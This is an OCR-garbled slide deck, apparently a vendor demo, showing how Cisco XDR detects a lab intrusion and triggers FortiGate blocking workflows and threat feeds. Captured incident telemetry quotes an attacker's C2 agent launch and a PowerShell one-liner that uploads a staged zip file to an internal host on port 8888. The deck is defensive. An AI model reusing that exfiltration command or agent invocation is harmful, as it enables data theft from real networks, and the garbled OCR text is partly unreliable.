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Cisco XDR In a nutshell
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Stop advanced threats like ransomware

I/
R

Email

A well-tailored
and personalized
email causes a
user to click...

T1566: Spear Phishing

T

DNS
Which goes to

a questionable
web site...

T1087: Account Discovery: Domain account

O ©

m—)

Which leads to a
strange process
being created
locally on the
user’s device...

T1055: Process Injection

That process will
connect to
another machine
or directly to their
data

010110
110010
Q01011

T1210: Exploitation of Remote Services

Vendor A

Vendor C

Vendor E

Vendor G

Vendor D

ey
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What is eXtended Detection and Response?

4 N

Collection of detections
and raw telemetry from
multiple sensor
technologies across your
environment

eXtended =>

K integrations /

MEGBIZHATO KAPCSOLAT

4 N\

Application of advanced
analytics to the collected
and normalized evidence
to produce correlated and
prioritized detections

of malicious activity

Leveraging Al + machine

Detection

learning

4 N

o)

Guided responses across
multiple control planes to
quickly and effectively
contain, mitigate, and
eradicate the threat.

Response

\_




Is XDR different than all the other things?

~

-

XDR

N @

SIEM SOAR

O

NDR — Network Detection and Response

XDR — eXtended Detection and Response &
EDR — Endpoint Detection and Response ®
SIEM — Security Incident and Event Management

Getcon SOAR — Security Orchestration Automation and Response




High level architecture

Extended Detection Response
ol e N ~ \ e \
wl el
cisco > Ccloud
Raw Telemetr
¥ > Behavioral Analytics Guided Plavbooks
\GROWDSTRIKE User Triggered y
- % Network A v Detecti
VIRUSTOTAL Events nomaly Detection
i > Automated Workflows
SentinelOnc ; i i
| @ Email Attack Chaining Incident Triggered
@ QT:LOSUW o Threat Intelligence Pivot Menu Actions
(& Identity > Incident Creation
"« @ ExtraHop g Scheduled
[
@ o omese Eﬁﬁ Firewall Enrichment > Incident Prioritization ’ solution Agnostic
proofpoint Automation Rules _ _
: éJlLb Endpoint Device Context > Rapid Containment
/, exabeam =08 Automatic Enrichment
\ J \ J \ J

Automated or user triggered responses to
block observables using any integrated
technology

Multi-vector telemetry ingest network, Cross domain alert detections and attack

cloud, endpoint, email, and more from chaining with automated incident
Cisco and 3rd party prioritization and enrichment

)«gy

i

GetCon
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An expression of business needs

Where are we most
exposed to risk? How
good are we at detecting
attacks early?

Detect Sooner

Are we prioritizing the
attacks that represent the
Prioritize by Impact largest
material impacts to our

business?

How quickly are we able
to understand the full
scope and entry vectors of
attacks?

Reduce Investigation Time

How fast can we
confidently respond? How
much can
SecOps automate? Are we
improving our time to
respond?

Accelerate Response

Do we have full visibility
into all our assets? Can we
reliably identify a device
and who uses it?

2
GetCon
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Integrations

XDR is as powerful as its integrations,
and Cisco XDR has over 80+
integrations with a wide variety of
products.

* Open platform with more third-
party integrations than Cisco
integrations.

* Mix of security products,
intelligence sources, device
managers, and more.

» Easy to enable and configure.

* APIl-based communication with
other products.

2
Gethp
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Integrations

[Q Search ] = Filters

My Integrations

Integration Name Name Status
Orbital Orbital @ connected
XDR Analytics Secure Cloud Analytics @ connected

Email Security

Secure Endpoint

Secure Firewall

Secure Network Analytics

Umbrella

AlienVault Open Threat Exchange

CrowdStrike

CyberCrime Tracker

Secure Email and Web Manager

Secure Endpoint

Secure Firewall

Secure Network Analytics

Umbrella

AlienVault Open Threat Exchange

CrowdStrike

CyberCrime Tracker

° Connected

° Connected

° Connected

° Connected

@ connected

° Connected

10



Supported sources for XDR Devices and Identity

U e ' BN QR

Duo Access Umbrella (DNS)

Duo Beyond Secure Endpoint Windows / macOS Meraki SM Secure Client Orbital

Third Party
N h = .‘ - B . @
. - VMware .
CrowdStrike SentinelOne Microsoft lvanti Neurons Microsoft Defender Mi ft
Intune (formerly Mabilelron) Workspace ONE for Endpoint A;crosAoD
(formerly Airwatch) ure

Teste)
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XDR - a different view of my mailbox

2024-10-04 07:16 2 observables ® investigation Complete

[ 3 Sources ®@ ~ ][ Disposition

Unselect All
Secure Email Threat Defense
VirusTotal

urlscan.io

+

u
E

@< %o

Hide timeline

&)

GetCon
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sTotal X

Urlscan.lo X

@

izapy balazs@getc...

Email

o]

23.90.11793
IP Address

+@

29 -

v ] (] my environment only

o]

https:/itranslate...

C
ontains https:/itranslate...
URL
Se nt To Contains
Sent # 0

el

Sent

gmail.com
Clean Domain

o]

http:iitest.i-cos...

4

u

5-11

URL\

Contains

RL

o]

10.167.

0L

Emall Address.

o/

Conwins-*oa

Fwd: Your balam;e
Email Message

URL
Contams

\%@
OE URL

https:iftranslate...
URL

. Malicious . Suspicious . Common

12-18

19-25 26-1 2-3

http:iftest.i-cos...

. Unknown

o)

hittps:iftest.i-co...

o™

http:/ftest.i-cos...

. Clean

9-15

16-22

o[}

sha256:

. Asset

23-29

4e7a..5213

30-6

7-13

12



Demo
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Network architecture
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asco 1ALOS

‘ XDR & Threat intelligence ‘

]
_Il.lll.

CISCcO
Web and Email

0
%0

On-prem Sensor

‘ Backoffice networks




Incident investigation




Cisco XDR Incident

alvali Zoltan Tamas
asco XDR @ O p\ Cisco - scsordas
= Incidents Suspicious Process Path
on xwrkO1l.itbtest.local
B Control Center >
15 Incidents 0 New Incidents 6 Open Incidents
Priorit ‘I:m:’ Status Open
G} Incidents Y
Reported by Cisco XDR Analytics (cdo-cisco-
A
Q  Investigate Q, Search ] [ © Last year v = Filters 2 matching results Reset all sesordas) U
3 days ago
. i Assignment: Assigned To Me X Assigned ZT
b, Intelligence > . .
()~ Priority Name Source MITRE(czoeese /
*++ Automate b
O €& Suspicious Process Path on xwrkOl.itbtest.local Cisco XDR Analyti.  Priority score breakdown ~
Assets >
. 1000 100 10
O & Port 8888: Connections from multiple sources on 192.168.36.119 Cisco XDR Analyti. Detection  Asset
o Client Management > Risk Value at Risk
o Administration ke Summary ~
A process was executed on an endpoint from a
directory that shouldn't have executables.
Description v
Assets 1 A
E Endpoint
ik XDR

View Incident Detail

GetCon
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Cisco XDR Incident

< Incidents
09 q ——— [} Endpoint
€D o - Suspicious Process Path on xwrkO1l.itbtest.local (- - ) "
xwrkO1l.itbtest.local >
Reported by Cisco XDR Analytics (cdo-cisco-scsordas) I on Sep 20, 2024 @ 11:31 AM CEST
View detailed description
A process was executed on an endpoint from a directory that shouldn't have executables. Attributes 8 ~
Overview Detection Response Worklog Report ? } Unknown AMP GUID

00fe9145-8cda-49b0-9dc3-52fed95797e3 ()

-
B "@}E 3} Unknown AMP GUID
«" Expand ]
N 45fbb712f14f46bfbc306ef6a3cebile (V)
-
Process o
Z_» Unknown Cisco Cm Id
Executed 96¢cb2d147fbb4b209fe0e73017579d5¢ @
Connected From OL
"Qb Q‘Q Unknown Cisco Uc Id
+ ! 3104518c80607a2ace64311854af4060913... @
— ™ "
Accessed Users mlg Unknown Hostname
14
" XWRKOT.itbtest.local ()
h—.
D Communicated W___-Ith mtg Unknown Hostname
xwrk01.itbtest.local 0 Q .
M Endpoint xwrkO.itbtest.local ()
Communicatec rfaw.githubusercon... )
o Hostname L Unknown IP Address
-
- |:E 192168.36132 (V)
A
‘. - ?_’) Unknown SWC Device ID
IP Addresses
14600 ()
‘ Show timeline . Malicious . Suspicious . Common . Unknown . Clean . As

Ge'tEon
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Cisco XDR Incident

<« Incidents

€D o+ Suspicious Process Path on xwrkO1l.itbtest.local (- -

@3 Unknown Process

X
splunkd.exe ®
Reported by Cisco XDR Analytics (cdo-cisco-scsordas) % on Sep 20, 2024 @ 11:31 AM CEST
View detailed description
A process was executed on an endpoint from a directory that shouldn't have executables. Attributes 5 A

Overview Detection Response Worklog Report 0@ Unknown File Path
C:\Users\Public\splunkd.exe ()

) Unknown Process Args
{7' Expand -y Q
. ! -server http://192.168.36.119:8888 -group red @
i i &
: powersholl.oxe splunkd oxe splunkd.oxe : @ Unknown Process
" Process p i of Process Process n
H : splunkd.exe ()
i 0’ o i
: : ?} Unknown Process Uid
¥ | e o 2ol
i i H 8dc2db31c1a9571fa099bc250f3169d81c4b57... @
] ]
== 1 0 (L) 1
: : ?j Unknown SHA-256
¢ 1 powershellexe upmn!d oxe [
G H Procoss Protess : dd742e47f0708c9f81701bd6c69933f01d5d8... @
] ]
o | i
] ]
@ ] ]
. o .
Indicators 1 A
D@ Executed S 5 -
Connecti From .~ b Cisco XDR Analytics (cdo-cisco-scsordas) —
'\Q,' Suspicious Endpoint Activity 3 events '_,,..F
Vv
Usors
‘ it L=
SHGNINRGING . Malicious . Suspicious . Common . Unknown . Clean . As

P

GetCon
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Cisco XDR Incident — Cloud Analytics

Cloud Analytics

Mow part of Cisco XDR

~ parent_process_path: C:\Users\Public\splunkd.exe

(2]
Meonitor ~ Investigate ~ Report ~ Settings v Q ¥ A

a 0,12 ¢ g ‘ ‘thes’ SECURE

Time © v Device © Destination © Process Parent Pro... * Process A... Process Ar... De

wyvea_wuan. rus e
logged_in_user: --

logged_in_user_account_type: 2

process_account: —-

process_account_type: 8194

process_uid: 462fbdcd0753¢c6325ab209e85cda0fdf12b4acdc

process_id: 5432

process_name: powershell.exe

process_hash: 9785001b0dcf755eddb8af294a373c0b87b24986601724e76c4d53f9c217c7a3
process_path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

process_args: -ExecutionPolicy Bypass -C "SErrorActionPreference = 'Stop';SfieldName = \"C:\Users\admin\staged.zip\";$filePath = \"C:\Users\admin\staged.zip\";Surl =
\"http://192.168.36.119:8888/file/upload\";Add-Type -AssemblyName 'System.Net.Http':Sclient = New-Object System.Net.Http.HttpClient;Scontent = New-Object
System.Net.Http.MultipartFormDataContent; $fileStream = [System.lO.File]::OpenRead(SfilePath);SfileName = [System.l0.Path]::GetFileName(SfilePath);$fileContent = New-Object
System.Net.Http.StreamContent(Sfil

process_integrity_level: 12288

parent_process_account: --

parent_process_account_type: 8194

parent_process_uid: 964e7186268a19c5b2fcc873df0cc701a229a63d
parent_process_id: 6808

parent_process_name: splunkd.exe

parent_process_hash: 3913669a6ae9d5cc32574d1743dda9365fdb994c9880a3¢c2b9f84939acfadr2b




Blocking IP address on
a FortiGate firewall
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Cisco XDR Incident

+ Incidents

O3 Unknown IP Address

192.168.36.119 x

€D o- - Suspicious Process Path on xwrkO1l.itbtest.local (- -

Reported by Cisco XDR Analytics (cdo-cisco-scsordas) 7 on Sep 20, 2024 @ 11:31 AM CEST

View detailed description @ S:)\ Zoltan Tamas
- , . Cisco - scsordas
A process was executed on an endpoint from a directory that shouldn't have

IP Address 0 192.168.36.119

Overview Detection Response Worklog Report . Orbital ~|P Address
lLitbtes cooure Endooint. . y
ecure Endpoint - Cisco - scsordas
a AM CEST Search for this IP [
¢~ Expand
SecureX Orchestrator
Dles. ® *Cisco Orbital - Take Forensic 2 ~
Snapshot (Windows)
® *#EDR Host Isolation with Email P Address
Approval - TZ
- ® *Cisco Secure Endpoint - Host °
Isolation with Tier 2 Approval
- | ® *Cisco Secure Endpoint - Move SWC Device ID
e 1 Computer to Group
" . { @ HFortiGate - Block URL, IP - SMTP
alert- TZ
O wwrk01.itbtest.local |
Endpoint | (® #BlockIP Observable on Feed - TZ
Shodan 1 ~
°G S h for thisIP [
earch for this IP [ tics (cdo-cisco-scsordas)
Browse IP 7 idpoint Activity 3 events pl‘f_-
Py e -
[ | P Address [ |
]
. . 1P Addraccac )
1 Show timeline . Malicious . Suspicious . Common . Unknown . Clean . Ag

4
GetCon
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Cisco XDR Remote

]
cisco

XDR

Control Center

Incidents

Investigate

Intelligence

Automate

Assets

Client Management

Administration

GetCon

MEGBIZHATO KAPCSOLAT

v

Advanced

An on-prem virtual appliance that enables your workflows to communig
inside your network that do not have access to the public internet.

Connection URL: tcps://automate-remote.us.security.cisco.com:8883

Categories  Git Repositories = Remotes

asee 1ALOS

]
CISCO
Web and Email

=75 FortiGate FW ‘

|
) / |
Search Client LAN / | Server LAN
| < T T
=
[Q Search ] [ % Download Appliance ]
Remote name Status Owner Last modified .
XDR-Remote Connect... tamas.zoltan@getcon.hu 9/19/2024, 2:32:21 PM

22




FortiGate Firewall

= Q HA: Primary > @~ 01~ O tamd
# Edit Edit in CL I Delete Q Policy lookup | | Search Q Ei] Export = nterface Pair View SRERITENTCE | [Py
Name From To Source Destination Schedule Service Action
B Policy & Objects
_ A i b B -
e T Eiliay XDR-FW-Policy ® lan2 ™ TRUNK {wan) 3 all = XDR-AddressGroup [@ always I ALL @ DENY
1 XDRFeed-IP
IPv4 DoS Polic - o B - — — I
RA -WEB-MODE SSLVPN tunnel interface (ssl.root DM e Il ALL ACCE
IPv6 DoS Po DM =
- -
VLAN251 =
RAVPN-ADMIN-ACCESS (2 SSL-VPN tunnel interface (ssl.root) JE DMZ1(DMZ1) & CCIE-ISE-RAVPN-GRP & ASA-REMOTE [@ always @ ALL « ACCEPT

= DMZ2 (DMZ2 8 RAVPN-ADMIN-POOL & DMZ01-SUBNET

HA: Primary > @~ A1~ O tamaszoltan~

| | H . - x
ONLY-55H-FOR-REMOTE-HOST @ TEST EL S LETERS EEL L Address & SXo-Address-1727083841
38 VLANE Type Subnet + Create
TEST-VPN-REVERSE .;“\ \T/EiL Category ISEXE Tl (Pv6 Group | Proxy Group Subnet 192.168.36.119/32 b
e |
Group name XDR-AddressGroup e ) any
TEST-VPN JE DMZ1 Color &  Change References 1 £
# Edit
1 Members B SXo-Address- 1710937146 x NET
DMZ02_FTP_Server_Access i ouTsl . = FABRIC DEVICE
= SXo-Address-1727083841 x : -
& Security Profi 1 ¥ & FIREWALL_AUTH_PORTAL_ADDRESS
- DMZ01_Web_Server_Access - ouTsl 7 Ny R
2 VPN ¥ Exclude members » & Forti-Lab-DMZ01-PC

& Forti-Lab-DMZ02-PC

& Forti-Lab-Inside-PC
4 0/255 5 Fortigate-Outside

& gmail.com

& INSIDE_SUBNET

Static route configuration €

Comments Write a comment...

GetCon
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Cisco XDR Notification

&« Back « ™ M Archive X Move EDeIete vSpam ses a“ v o

Cisco XDR - #FortiGate - Block URL Yahoo/XDR Ale... Y¥

i Mon, 23 Septat 11:30 Y¥

x From: xdr-alert@amazonaws.com
To: tarzan021@yahoo.com

#ip "192[ 1168[.136[.]1119" blocked in FortiGate successfully *Address Name™: SXo-Address-1727083841 **Address Group Name™: XDR-AddressGroup
**Policy Name™*: XDR-FW-Policy

«a @« =5 -

GetCon
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Cisco XDR Workflow

N
cisco

XDR

Control Center

Incidents

Investigate

Intelligence

Automate

Assets

Client Management

Administration

GetCon
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Workflow Name

Last Run Status

1 Selected

) (5o

v Reset All

Workflow Name

#FortiGate - Block URL, IP - SMTP alert - TZ X

Zoltan Tamas
Cisco - scsordas

O Display nhame Status Started on Ended on Started by Owner Actions
O #FortiGate - Block URL, IP - © Success 9/23/2024, 11:30:40 9/23/2024,11:30:51 - lamas.zoltan@getc  tamas.zoltan@getcon
SMTP alert-TZ 3 AM AM ~on.hu .hu
#FortiGate - Block URL, IP - o 9/20/2024, 2:18:20 - lamas.zoltan@getc  tamas.zoltan@getcon
D SMTP alert-TZ 7 @ Success 9/20/2024, 2:18:12 PM M 2 onhu hu
0 #FortiGate - Block URL, IP - S 9/20/2024, 2:16:37 9/20/2024, 2:16:45 -, tamas.zoltan@getc  tamas.zoltan@getcon
SMTP alert-TZ 3 PM PM ~on.hu .hu
0 #FortiGate - Block URL, IP - © Success 9/20/2024,12:05:59 9/20/2024,12:06:07 ~ lamas.zoltan@getc  tamas.zoltan@getcon

SMTP alert-TZ 3

PM

PM

Ea
on.hu

.hu

25



Cisco XDR Workflow

#FortiGate - Block URL, IP - SMTP alert - TZ Run svccess

Version 1.0.0

Core
Defang observable

Python
Generate timestamps to create
unigue names

-G Is the observable type suppo
rted?

<G No

I
!

< Was a policy name provided?

|

—C:No

RUN TIME
()
10.3 s

Workflow Properties
#FortiGate - Block URL, IP - SMTP Alert - TZ
Variables
Name Type Scope Value Required
Access Token  Secure String Local o False
Address Group . XDR-AddressGr
Name String Local oup False

. SXo-Address-17
Address Name String Local 27083841 False
Error Messages String Local False
:bservahle_typ String Input ip True
3:“""""’-""" String Input 19216836119 True
Policy Name String Local XDR-FW-Policy  False
Web Filter Nam o, ;. Local False

e

Response Options

Automation Rules

No data to display

. <A
GetCon

MEGBIZHATO KAPCSOLAT
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Cisco XDR Workflow

#FortiGate - Block URL, IP - SMTP alert - TZ Run svccess

Version 1.0.0

Python
Prepare summary message

ﬁgh Atomic
Microsoft Teams - Post
Message via Webhook

l

Email
Send Email

() 103s

Properties: Send Email

Send Email

No value

Bce
No value

Subject
Cisco XDR - #FortiGate - Block URL

Message 176 / 1048576
Copy All
1 ## ip "192[.]168[.]36[.]119" blocked in FortiGate successfully
2 **Address Name**: SXo-Address-1727@83841
3 **Address Group Name**: XDR-AddressGroup
4 **Policy Name**: XDR-FW-Policy
5

Attachments

No data to display

Custom Headers

No data to display

GetCon
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Blocking IP address using
a Threat Feed




Cisco XDR Feeds

Zoltan Tamas

Cisco - scsord.

Feeds
[ | Control Center > These feeds were created or saved from private sources. Anyone with the URL can view the feed. Learn More [
O Incidents
Q Search ® Create Feed URL
Q, Investigate
Title Qutput Modified Creator Expiration
| ZF  Intelligence >
SecureX_Firewall_Private_Feed_SH... Observables Mar 11, 2024 @ 3:29 PM CET Zoltan Tamas Never
*%* Automate 2 SecureX_Firewall_Private_Feed_URL Observables Mar 11, 2024 @ 3:29 PM CET Zoltan Tamas Never
B Assets 5 SecureX_Firewall_Private_Feed_Do... Observables Mar 11, 2024 @ 3:29 PM CET Zoltan Tamas Never
SecureX_Firewall_Private_Feed_IPvE Observables Mar 11, 2024 @ 3:29 PM CET Zoltan Tamas Never
= Client Management >
SecureX_Firewall_Private_Feed_IPv4 Observables Mar 11, 2024 @ 3:29 PM CET Zoltan Tamas Never
o Administration > 171

GetCon
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Cisco XDR Incident

1 xwrkO1l.itbtest.local (- -

2024 @ 11:31 AM CEST

have executables.

@Q
QO

S

xwrk01.itbtest local

Endpoint s EEEEEEEEEEEEEg
Communicated 1
[ ]

1 [ ]

1 m m [ ]

1 ]

§ 185199108133 19216836119 g

] IP Address IF Address [

1 [ ]

L} [ ]

1 [ ]

1 (D [ ]

1 ]

L} 192168.36.111 [ ]

1 IP Address 1

k o

[ r——

. Malicious . Suspicious . Common . Unknown

GetCon
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. Clean

. Asset

Zoltan Tamas

Cisco - scsordas
IP Address 0 192168.36.118

Orbital IP Address

Secure Endpoint - Cisco - scsordas .36.119 @

Search for this IP 7
SecureX Orchestrator

® *Cisco Orbital - Take Forensic
Snapshot (Windows)
*#EDR Host Isolation with Email P Address
Approval - TZ L °

*Cisco Secure Endpoint - Host
Isolation with Tier 2 Approval

Computer to Group

#FortiGate - Block URL, IP - SMTP

®
® *Cisco Secure Endpoint - Move
® alert- TZ

® #Block IP Observable on Feed - TZ

Shodan
Search for this IP [] tics (cdo-cisco-scsord
Browse IP [7 idpoint Activity

(5]

@

I



Cisco XDR Incident

aliali Zoltan Tamas

CISCo XDR

Cisco - scsordas

Judgments
[ ] Control Center 3 Judgements associate a disposition with an observable. Learn More (7
O Incidents Public Private

Q, Investigate
&3 Intelligence
+4+ Automate

I Assets

= Client Management

o Administration

GetCon
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Q Search

0]

Observable

Disposition Reason

Type

Start/End Times

Source

Severity

192.168.36.119 ()
64.227.41103 (%)
206.189.223.95 ()

152.32.156136 (V%

91d257ec8800204...

87b036c720fbd5Se...

7c4c7725e266f12a...

Q

Unknow
Malicious
Unknown
Unknown
Common
Common
Common

IP Address

IP Address

IP Address

IP Address

SHA-256 ...

SHA-256 ...

SHA-256 ...

Sep 23, 2024 @ 12:26 PM ...
Jan1, 2525 @ 1:00 AM CET

Mar 11, 2024 @ 5:03 PM CET

Apr 10, 2024 @ 5:03 PM CE...

Mar 11, 2024 @ 4:438 PM CET
Jan1, 2525 @ 1:00 AM CET

Mar 11, 2024 @ 4:23 PM CET
Jan1, 2525 @ 1:00 AM CET

Dec 21, 2023 @ 6:11 PM CET
Jan1, 2525 @ 1:00 AM CET

Dec 21, 2023 @ 6:11 PM CET
Jan1, 2525 @ 1:00 AM CET

Dec 21, 2023 @ 6:11 PM CET
Jan1, 2525 @ 1:00 AM CET

securex-orchest...

ATS Pivot Menu

securex-orchest...

securex-orchest...

Secure Endpoint

Secure Endpoint

Secure Endpoint

ggg@@@@

Amber

noe
Amber

Amber
Green

Green

Green



FortiGate Firewall

=} [ abor-FortiGate-01

o

Endpoint/ldentity
Policy & Objects
Security Profiles ul
VPN N

Active Directory Connector

& Authentication

WiFi & Switch Controller O 192.168.36.253

IP Address Threat Feed E XDRFeed-IP

Type IP Address Threat Feed
Update method External Feed
URI https:/private.intel.amp.cisco.com/ctia/feed... .

Connection Status @ 2024/09/2312:37:07
Last Content Update @ 2024/09/2312:37:07
Entries  valid

Threat Feeds

cal Topology

&Y

Security Rating IP Address Threat Feed

Automation *DRFeed-IP

i= View Entries .

External Connectors

et ldentity Center

LM |og & Report

GetCon
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falba%1d-81a7-4add-8d %f-
6867380b7191/view.tt?s=02048de1-cbd1-
49de-830d-2a42fc36db77

IP Address Threat Feed: XDRFeed-1P

Search Q
Entry & Validity
152.32.156.136 + Valid
192.168.36.119 " Valid
206.18%9.223.95 " Valid

~l
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FortiGate Firewall

HA: Primary
+CreateNew | ¢ Edit | >_ EditinCL [ Delete Q Policy lookup | | Search Q B Export~ | Interface Pair View QSUSEWIwl  |Py
Name From To Source Destination Schedule Service Action
XDR-FW-Policy ™ lan2 ™ TRUMNEK (wan) o all =] )(DR—AddressGrou [@ always ] ALL @ DENY
T ¥NRCasd.|P
RA-VPN-WEB-MODE @ SSL-VPN tunnel interface (ssl.root) (DMz1) | 1P Address Threat Feed £l XDRFeed-1P MZ01-PC | [@ always | @ ALL ACCEPT
DMZ2 (DMZ2) | Type IP Address Threat Feed MZO02-PC
VLANZ251 (VLA| Update method External Feed BNET
RAVPN-ADMIN-ACCESS @ SSL-VPN tunnel interface (sslroot) 28 DMZ1(DMZ1)| URI https://private.intel.amp.cisco.com/ctia/feed... hTE @always [WALL  « ACCEPT
*§ DMZ2 (DMZ2) falba91d-81a7-4add-8d9f- BNET
= - 6867380b7f91 view.txt?s=02048de 1-cbd1-
JE VLAN251 (VLA| 49de-830d-2a42fc36db77 BNET
Connection Status © 2024/09/23 14:04:51 SE’;LL?;ET
Last Content Update @ 2024/09/23 13:04:46
ONLY-S5H-FOR-REMOTE-HOST @ TEST JE DMZ1(DMZ1) Entri @ Vaiid BNET always @ S5H v ACCEPT
5 VLAN251 (VLAN251) e o
TESTVPN-REVERSE @ TEST 2E DMZ1(DMZ1)| = View Entries BENET e always [ ALL @ DENY
JE VLAN251 (VLANZ251) JE DMZ2(DMZ2) = DMZUZSUBNET
= INSIDE_SUBNET
TEST-VPN JE DMZ1(DMZ1) @ TEST & DMZ01-SUBNET = ASA-REMQTE [@ always I ALL v ACCEPT
JE DMZ2 (DMZ2) JE VLAN251 (VLAN251) & DMZ02-SUBNET
= INSIDE_SUBNET
DMZ02_FTP_Server_Access JE OUTSIDE-OKTAT (OUTSIDE-OKTAT) 2 DMZ2(DMZ2) = all @ DMZ02-Server-FTP [@ always m FTP v ACCEPT
& DMZ02-Server-SMB @ SMB

GetCon
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Cisco XDR Notification

4 Back

W2 Restore to inbox  [B® Move -ﬁ Delete

Cisco XDR - #Block |IP Observable on Feed

v Not spam

v X

Yahoo/Spam Yy

X

XDR-Alert@amazonaws.com
From: xdr-alert@amazonaws.com
To: tarzan021@yahoo.com

The following IF is blocked by "#Block IP Observable on Feed" workflow.

Feed: Secure_Firewall_SecureX_Indicator_|Pv4
IP- 192 168 36 119

Disposition name: Unknown

Severity” Info

«

@« » .

/= Mon, 23 Sept at 13:04 ¥

GetCon
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|IPS event correlation
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FortiGate IPS events

=} Labor-FortiGate-01
& Dashboard
Status

Users & Devices
WiFi
+

FortiView Sources

FortiView Destinations

FortiView Applications

FortiView Web Sites
FortiView Policies

FortiView Sessions

« Network

B Policy &

& Security Profiles

2 VPN

GetCon
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€ | Top Threats by Threat Level

% Threat: FTPLoginBruteForce X Threat Type: ips @ Ad Filter

Summary of

Threat FTPLogin.Brute.Force

Threat Category ips

Threat Level

Threat Score 720

Sessions 24

Destinations = Countries/Regions | Sessions

Source Device

a 192.168.36.119

720

Threat Score «
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Cisco XDR Workflow

et XDR

BE Control Center
{:} Incidents
Q  Investigate
. Intelligence
+4++ Automate
B Assets

- Client Management

o Administration

GetCon

MEGBIZHATO KAPCSOLAT

Workflows

Workflows allow you to investigate security events, automate responses, and eliminate repetitive tasks by
using activities, logic, and even other workflows to communicate with other systems and resources. From

here you can access, create, and import workflows.

All Workflows 3 v  Atomics 570 Recents  Favorites 0
Workflows
Search Status Category
[O\ forti F;] [ Selec vJ [ 1 Selected

Vi ] 3 matching results

Category Forti X Add to Saved Filters v

Reset All

Display name Categories Status Owner

g:r&t{:gztsegssrlf;T:StSE:e?w?sAfer'nt\ -Flrzticéate Send admin notifi... Fort tpstng Wimas:zelianggatcon.
This workflw blocks s UL P o domaksname i Firinet Fo tamas.zolan@getcon.hu
#FortiGate - Block URL, IP - Incident Response - TZ &7 Forti Updated tamas.zoltan@getcon.hu

This workflow blocks a URL, IP, or domain name in Fortinet Fo...
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Cisco XDR Workflow

Zoltan Tamas

Cisco - scsordas

#Fortigate IPS Events, XDR Alert - TZ Run success

Version 1.0.0

Fetch incident list from FortiGate

Core
Current Date

Web Service
Fetch New Forti IPS Incidents

-C: Was the request successful?

- Anything else

Table
Read Table from Text

GetCon

MEGBIZHATO KAPCSOLAT

Properties: HTTP Request

Fetch New Forti IPS Incidents

! GMT+0200 (Central Europe

sg="file_transfer:
sg="file_transfer:
sg="file_transfer:

sg="file_transfer:

sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:
sg="file_transfer:

sg="file_transfer:

FTP

FTP
FTP
FTP

FTP

FTP

Summer Time)

.Login.Brute.Force™
FTP.
FTP.

Login.Brute.Force”

Login.Brute.Force"

.Login.Brute.Force™
.Login.Brute.Force™
.Login.Brute.Force™
FTP.
FTP.
FTP.
FTP.

Login.Brute.Force"
Login.Brute.Force”
Login.Brute.Force”

Login.Brute.Force"

.Login.Brute.Force™
FTP.
FTP.
FTP.
FIP.

Login.Brute.Force”
Login.Brute.Force™
Login.Brute.Force"

Login.Brute.Force™

.Login.Brute.Force™

crscore=36@
crscore=3@
crscore=38
crscore=3a
crscore=3@
crscore=3a@
crscore=3@
crscore=3@
crscore=3@
crscore=38
crscore=38
crscore=3@
crscore=3@
crscore=3@
crscore=3@

crscore=3@

(e (]

craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192
craction=8192

RUN TIME

18.5s

crlevel="high" .
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
crlevel="high"
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Cisco XDR Workflow

#Fortigate IPS Events, XDR Alert - TZ Run svecess ) 1“;";'”;

Version 1.0.0

Properties: Execute Python Script

Core Unique Sort Srcip List

Get SrclP from table

Script to execute on target:

Python Copy All
Unique Sort srcip list

1 import json
2 import re
Table 3 import ast
Forti IPS detected source IPs To 4 srcip_list = ["srcip=192.168.36.119", "srcip=192.168.36.119","srcip=192.1
table 5 srcip_list = sorted(set(srcip_list))
6
7 ip_addresses = []
8 for string in srcip_list:
9 match = re.search(r'\b(?:[8-9]{1,3}\.){3}[8-9]{1,3}\b". string)
Investigate IP in XDR 10 if match:
1 ip_addresses.append(match.group())
12
( For Each IP address Tof1 ¥ 13 #print('[¥s]" % ', ".join(map(str, ip_addresses)))
14 ip_addresses = json.dumps(ip_addresses)
15
Web Sewic":“ 16 #convert string to list
Ic;et XDR Incidents by detected . 17 ip addresses - ast.literal eval(ip addresses)
Q Script Output Variables
Core X . Script Variable
XDR Incident exists +

ip_addresses

GetCon
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Cisco XDR Workflow

#Fortigate IPS Events, XDR Alert - TZ Run svecess E]

Version 1.0.0

Properties: Send Email

C' while Loop - incidentn 10f2 Send Email Notification

umber

Subject

-G Condition Branch Cisco XDR - #Fortigate IPS Events Detected

Message
Core
Search XDR Incidents Copy All
1 <head>
2 <b» #Cisco XDR - #Fortigate - Get IPS Events </b>
Core = </head>
Store XDR events .
4 <pr</p>
] <br:>
6 Investigated IP address from Forti IPS:
7 <b> 192.168.36.119 </b>
8 <br>
) 9 Detected XDR events:
Email ) o 10 <b>2</b>
Send Email Notification
n <br>
12 <br>
13 <b»Event Title: </b>Port 8888: Connections from
Core 14 <br>»
Increment IP counter 15 Short Description: Multiple devices transferred files tF,...-r
16 <brs
Q 17 Severity: Critical
1
Attachments

No data to display

GetCon
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Cisco XDR Notification

€& Back @4 @ wp Bl Archive B Move _ﬁ Delete v Spam  *ee A v X
Cisco XDR - #Fortigate IPS Events Detected Yahoo/XDR Ale... 1
XDR-Alert@amazonaws.com |E1 Mon, 23 Sept at 13:25 fr
From: xdr-alert@amazonaws.com

To: tarzan021@yahoo.com

#Cisco XDR - #Fortigate - Get IPS Events

Investigated |IP address from Forti IPS: 192.168.36.119
Detected XDR events: 2

Event Title: Port 8856 Connections from multiple sources on 192 168 .36.119

Short Description: Multiple devices transferred files to an internal host serving on a lazy port. This might indicate an exfiltration attempt.
Severity: Critical

Event modification time: 2024-09-23T08:24:24 3567

Source: Cisco XDR Analytics (cdo-cisco-scsordas)

URL: https://cdo-cisco-scsordas.obsrvbl.com/v2/g alerts/details?id=12015

Event Title: Suspicious Process Path on xwrk01.itbtest local

Short Description: A process was executed on an endpoint from a directory that shouldn't have executables. _—

Severity: High

Event modification time: 2024-09-23T08:20:07 9857

Source: Cisco XDR Analytics (cdo-cisco-scsordas)

URL: https://cdo-cisco-scsordas.obsrvbl comiv2/#/alerts/details?id=12014

GetCon

